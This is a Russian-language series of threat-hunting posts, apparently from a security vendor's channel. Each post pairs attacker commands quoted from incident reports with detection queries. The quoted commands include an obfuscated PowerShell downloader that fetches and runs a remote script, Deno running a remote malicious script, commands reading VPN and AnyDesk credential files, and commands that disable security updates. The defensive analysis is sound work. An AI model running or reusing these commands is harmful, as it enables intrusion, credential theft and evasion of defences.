Know Your Adversary

Всем привет! Надеюсь, вы помните, что сбор информации о скомпрометированной системе - один из самых ценных этапов с точки зрения проактивного поиска. Сегодня мы взглянем на технику System Location Discovery (T1614). Довольно часто ВПО использует различные легитимные веб-сервисы для получения информации об IP-адресе скомпрометированной системы. В данном случае, злоумышленники использовали сразу несколько, а именно:

https://ipv4[.]ipleak[.]net/json/
https://get[.]geojs[.]io/v1/ip/geo[.]json
https://ipapi[.]co/json/
https://api[.]ipapi[.]is/
https://ipinfo[.]io/json

Если какие-то из этих сервисов вам неизвестны, они могут составить основу вашей гипотезы, например:

event_type: "dnsreqwin"

AND

dns_rname: ("ipv4.ipleak.net" OR "get.geojs.io" OR "ipapi.co" OR "api.ipapi.is" OR "ipinfo.io")

Скоро увидимся! English version

Всем привет! Сегодня поговорим о JavaScript (T1059.007) и о том, как атакующие злоупотребляют легитимной средой его выполнения. В рамках очередной ClickFix-кампании, злоумышленники использовали довольно интересные техники. Во-первых, они использовали winget.exe для загрузки и инсталляции среды выполнения Deno. Во-вторых, использовали Deno для запуска вредоносной нагрузки с удаленного сервера, подконтрольного атакующим:

deno.exe run -A hxxp://webstizkgao[.]com/v020def066f14754be9.js

Кажется, злонамеренное использование Deno может быть отличной целью для проактивного поиска:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "deno.exe"

AND

cmdline: "run"

Скоро увидимся! English version

Всем привет! Как вы наверняка знаете, техника Modify Registry (T1112) позволяет атакующим решить самые разные задачи в рамках жизненного цикла атаки. Сегодня мы взглянем на еще один интересный пример. Чтобы обойти имеющиеся средства защиты, вымогатели, на этот раз Akira (Neon Wolf), в очередной раз воспользовались безопасным режимом в Windows. Разумеется, злоумышленникам нужно было как-то управлять скомпрометированной системой. Для этого они использовали AnyDesk, а чтобы он был запущен и после перезагрузки в безопасный режим, они осуществили следующую модификацию реестра: "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service Так как данная активность имеет место непосредственно перед началом распространения программ-вымогателей, это может стать последним шансом недопустить ущерб. Например, стоит обращать внимание на события подозрительной модификации соответствующего раздела реестра:

event_type: "registryvaluesetwin"

AND

reg_key_path: "safeboot"

Скоро увидимся! English version

Всем привет! Надеюсь, вы помните, что OFFZONE уже на следующей неделе. Сегодня я хочу немного рассказать вам про зону, за которую я отвечаю - Threat.Zone. Она посвящена исследованию и расследованию реальных кибератак, но в этом году вы услышите и пару интересных докладов, посвященных наступательной безопасности. В этом году спикеры расскажут про неочевидные источники криминалистических артефактов (и даже их злонамеренном использовании), интересных техниках злоумышленников, их многочисленных ошибках, а также о том, как выявить следы компрометации собственной ИТ-инфраструктуры, превратить киберразведданные в измеримую защиту, эффективно использовать ИИ в киберразведке, и о многом другом!. Увидимся 21 августа в GOELRO!

Всем привет! Сегодня посмотрим на пример того, как стремление атакующих избавиться от артефактов только добавляет шума. Более того, очень популярный пример. А его источником послужит отчет Zscaler о новом модульном трояне удаленного доступа Abyssos. Несмотря на то, что троян новый, он использует огромное количество хорошо известных техник. Например, в рамках реализации техники File Deletion (T1070.004) ВПО выполняет следующую команду: cmd.exe /C ping 127.0.0.1 -n 3 >nul & del /F /Q путь_к_файлу Несмотря на то, что в данном случае удаляется вредоносный файл, структура команды весьма специфическая, что предоставляет нам возможность для обнаружения:

event_type: "processcreatewin"

AND

proc_file_path: "cmd.exe"

AND

cmdline: ("ping" AND "del")

Более того, это далеко не первый образец, для которого свойственен подобный поведенческий маркер, что позволяет обнаруживать не только данное семейство, но и множество других. Скоро увидимся! English version

Всем привет! Туннели. Злоумышленники придумывают все новые и новые варианты их реализации. Сегодня мы снова взглянем на технику Protocol Tunneling (T1572). Существует масса бесплатных сервисов туннелирования, которые позволяют сделать локальный сервис доступным из интернета через публичный URL. Например, злоумышленники часто используют Cloudflare Tunnel. А вот согласно этому отчету, атакующие использовали и localhost[.]run. Обнаружить следы его использования можно, например, отслеживая коммуникации с поддоменами lhr[.]life:

event_type: dnsreq*

AND

dns_rname: "lhr.life"

Скоро увидимся! English version

Всем привет! Продолжаем разбираться, зачем нам нужны киберразведданные. И в этот раз поговорим о Threat Hunting: https://bi.zone/expertise/blog/proaktivnyy-poisk-ugroz-s-ispolzovaniem-kiberrazveddannykh/

Всем привет! Сегодня взглянем на то, как злоумышленники борются с обновлениями скомпрометированных систем в рамках техники Disable or Modify Tools (T1685). Более того, сегодня у нас в фокусе атаки на macOS. Давайте откроем отчет об активности XCSSET и пролистаем его до секции "Impairing Defenses". Как видите, злоумышленник использует следующие команды для отключения определенных механизмов обновлений безопасности Apple:

defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist ConfigDataInstall -bool false

defaults write /Library/Preferences/com.apple.SoftwareUpdate.plist AllowRapidSecurityResponses -bool false

Первая команда отключает получение обновлений для обновлений XProtect, Gatekeeper и других защитных компонентов, вторая отключает установку Rapid Security Responses (RSR). В данном случае мы можем поискать события модификации файла com.apple.SoftwareUpdate.plist с помощью defaults:

event_type: "processcreatemac"

AND

proc_file_path: "defaults"

AND

cmdline: "com.apple.SoftwareUpdate.plist"

Скоро увидимся! English version

Всем привет! Нередко злоумышленникам удается извлечь аутентификационный материал из файлов, о технике Credentials In Files (T1552.001) мы и поговорим. Так, согласно отчету Kaspersky об активности кластера GOFFEE (Paper Werewolf), злоумышленники проявляли активный интерес к различным конфигурационным файлам, содержащим чувствительные данные, а именно:

cmd.exe /c type "%APPDATA%\AnyDesk\service.conf"
cmd.exe /c type "%USERPROFILE%\OpenVPN\config\avia\avia.ovpn"
cmd.exe /c type "%APPDATA%\Kerio\VpnClient\user.cfg"
cmd.exe /c dir "%USERPROFILE%\Downloads\Telegram Desktop"

Подобная активность, разумеется, предоставляет нам возможности для проактивного поиска, например:

event_type: "processcreatewin"

AND

proc_file_path: "cmd.exe"

AND

cmdline: ("type" OR "dir")

AND

cmdline: ("anydesk" OR "openvpn" OR "vpnclient" OR "telegram desktop")

Скоро увидимся! English version

🌚 Core Werewolf меняет клыки: троян CoreRAT в атаках на российские организации С июня по июль 2026 года специалисты BI.ZONE Threat Intelligence зафиксировали активность кластера Core Werewolf. Эксперты выявили, что злоумышленники начали использовать ранее неизвестный троян удаленного доступа CoreRAT. В арсенале Core Werewolf уже встречались самописные мини-бэкдоры, однако CoreRAT — первый известный нам полноценный RAT их собственной разработки. ➡️Подробнее о кампаниях и техниках Core Werewolf 💬 Мы в MAX

Всем привет! Сегодня поговорим о тактиках Execution (TA0002) и Stealth (TA0005), и вариантах реализации техник PowerShell (T1059.001), JavaScript (T1059.007) и Mshta (T1218.005). Источником примеров для нас станет вот этот отчет об активности Kimsuky (Monolithic Werewolf). Начнем с вредоносных ярлыков, которые распространяли злоумышленники. Так как вредоносный код находился непосредственно в самом LNK-файле, mshta.exe запускался с ним в качестве аргумента, что предоставляет нам возможность для обнаружения:

event_type: "processcreatewin"

AND

proc_file_path: "mshta.exe"

AND

cmdline: *.lnk

Вредоносный код представлял собой дроппер, который создавал следующие файлы в скомпрометированной системе:

“%APPDATA%\Microsoft\Windows\Templates\Templates.Js”

“%APPDATA%\Microsoft\Windows\Templates\Templates.Ps1”

При этом, первый служит для запуска второго. В данном случае мы можем использовать путь к этим файлам для проактичного поиска:

event_type: "processcreatewin"

AND

proc_file_path: ("powershell.exe" OR "wscript.exe" OR "cscript.exe")

AND

cmdline: "Microsoft\\Windows\\Templates"

Скоро увидимся! English version

🐕 Insolent Hyena атакует российские организации с помощью трояна NightWire и стилера Excalibur С января по июль 2026 года специалисты BI.ZONE Threat Intelligence исследовали активность кластера Insolent Hyena. Выяснилось, что злоумышленники активно взаимодействуют с кибершпионами и финансово мотивированными атакующими. Для атак использовались: 🔵ранее неизвестный троян удаленного доступа NightWire; 🔵стилер Excalibur, написанный на Python и обфусцированный с помощью PyArmor; 🔵средства удаленного администрирования NetSupport; 🔵троян удаленного доступа CapDoor; 🔵C2-фреймворки AdaptixC2 и Cobalt Strike. ➡️Подробнее о кампании и техниках Insolent Hyena

Всем привет! Давно мы не говорили об интересных техниках, связанных с модификацией реестра. Самое время исправиться! Сегодня поговорим о Cruciferra - криптере, который детально разобрали в своем отчете Proofpoint. ВПО модифицирует следующие параметры реестра: - ToastEnabled в Software\Microsoft\Windows\CurrentVersion\PushNotifications - Balloon в Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced - ShowInfoTip в Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced Все эти параметры отвечают за различные оповещения пользователя, соотвсетвенно, их модификация позволяет атакующим спрятать от жертвы в том числе оповещения средств защиты. Таким образом, мы имеем еще несколько возможностей для обнаружения потенциально вредоносной активности:

event_type: "registryvaluesetwin"

AND

reg_key_path: ("toastenabled" OR "balloon" OR "showinfotip")

Скоро увидимся! English version

Всем привет! Продолжаем разбираться с угрозоцентричным подходом и практическим применением Threat Intelligence. В этот раз поговорим об одном из самых понятных сценариев применения - обнаружении угроз. Тем не менее, ограничиваться индикаторами компрометации мы, разумеется, не будем: https://bi.zone/expertise/blog/kak-ispolzovat-kiberrazveddannye-dlya-obnaruzheniya-ugroz/

Всем привет! Продолжаем разбираться с угрозоцентричным подходом и практическим применением Threat Intelligence. D

Всем привет! Сегодня практически любая атака с использование программ-вымогателей предполагает эксфильтрацию данных. Часто атакующие используют одни и те же инструменты, но бывают и исключения. Например, согласно отчету Arctic Wolf Labs, атакующие, распространяющие вымогатель Qilin, использовали для эксфильтрации данных Proton Drive. Это облачное хранилище от швейцарской компании Proton, ориентированное на конфиденциальность. Его главная особенность — сквозное шифрование, при котором ваши файлы шифруются на устройстве до отправки в облако. Безусловно, данный инструмент может использоваться в ИТ-инфраструктуре легитимно, тем не менее, он также может быть предвестником развертывания вымогательского ПО, поэтому вполне подходит для проактивного поиска:

event_type: "processcreatewin"

AND

proc_file_productname: "Proton Drive"

Скоро увидимся! English version

Всем привет! Сегодня мы взглянем на очередной пример техники Remote Desktop Software (T1219.002). Примечательно, что используемый атакующими инструмент отсутствует в проекте LOLRMM. Согласно отчету Seqrite, в рамках кампании ShadowRecruit злоумышленники распространяли архивы, содержащие сразу несколько файлов: вредоносный ярлык, PowerShell-скрипт и исполняемый файл. Ярлык запускал PowerShell, который, помимо прочего, загружал и запускал инсталлятор легитимного средства удаленного доступа ControlR, который впоследствии мог использоваться атакующими как основной или резервный канал доступа к скомпрометированной системе. Во-первых, мы можем поискать сетевые коммуникации с инфраструктурой ControlR:

event_type: "dnsreqwin"

AND

dns_rname: "controlr.app"

Во-вторых, поискать следы работы агента, например:

event_type: "processcreatewin"

AND

proc_file_productname: *controlr*

Скоро увидимся! English version

Всем привет! Злоумышленники продолжают активно использовать технику EtherHiding, и сегодня мы посмотрим на очередной пример ее применения. Согласно отчету LevelBlue, атакующие распространяли вредоносные ярлыки, взаимодействие с которыми приводило к выполнению обфусцированной команды, например:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -c $Se4n4GmJ=[System.Numerics.BigInteger]\7330349723455890650683895074414054\;$fobLzAK0=[System.Numerics.BigInteger]\5070886814366709789648062014091648\;$YrXdQd=$Se4n4GmJ - $fobLzAK0;for($bwusN=100+156;$YrXdQd -ne 0;$YrXdQd=$YrXdQd / $bwusN){$JZwuEnBA+=[char]([int]($YrXdQd % $bwusN));};iwr $JZwuEnBA -OutFile $env:TEMP\lFdlPb.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\lFdlPb.ps1

Обратите внимание, что для обфускации в том числе используется тип BigInteger, что само по себе предоставляет нам возможность для проактивного поиска:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: *bigint*

Загруженный сценарий предназначен для развертывания в скомпрометированной системе NodeJS-бэкдора, одной из функций которого является получение адреса командного сервера с использованием техники EtherHiding. При этом, в данном случае используется сервис TONAPI, например:

hxxps://tonapi[.]io/v2/blockchain/accounts/0:c66119f0e5635c4380441d7a79baf0c02a0ab7ea6cd78de06507fc5dc2c1a5d9/methods/get_domain

И это очередная возможность для проактивного поиска:

event_type: "dnsreqwin"

AND

dns_rname: "tonapi.io"

Скоро увидимся! English version

Всем привет! Очередные атакующие злоупотребляют легитимными средствами удаленного доступа - больше информации о тактиках, техниках и процедурах кластера Clubfoot Wolf в нашем новом исследовании: https://bi.zone/expertise/blog/clubfoot-wolf-massovo-komprometiruet-rossiyskie-kompanii/

Всем привет! Сегодня мы взглянем на еще один интересный пример того, как атакующие злоупотребляют браузером. В этот раз они использовали его, чтобы отвлечь жертву. Согласно этому отчету, для того, чтобы отвлечь пользователя и получить время, необходимое для корректного выполнения скриптов, злоумышленники использовали сервис fakeupdate[.]net, который позволяет продемонстрировать поддельное окно обновления Windows. При этом, атакующие запускали Microsoft Edge в режиме kiosk:

start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen

Разумеется, атакующие могут разместить похожие страницы и на собственных серверах, тем не менее, подобный режим запуска браузера предоставляет на возможность для поиска подозрительной активности:

event_type: "processcreatewin"

AND

proc_file_path: "msedge.exe"

AND

cmdline: ("kiosk" AND "fullscreen")

Скоро увидимся! English version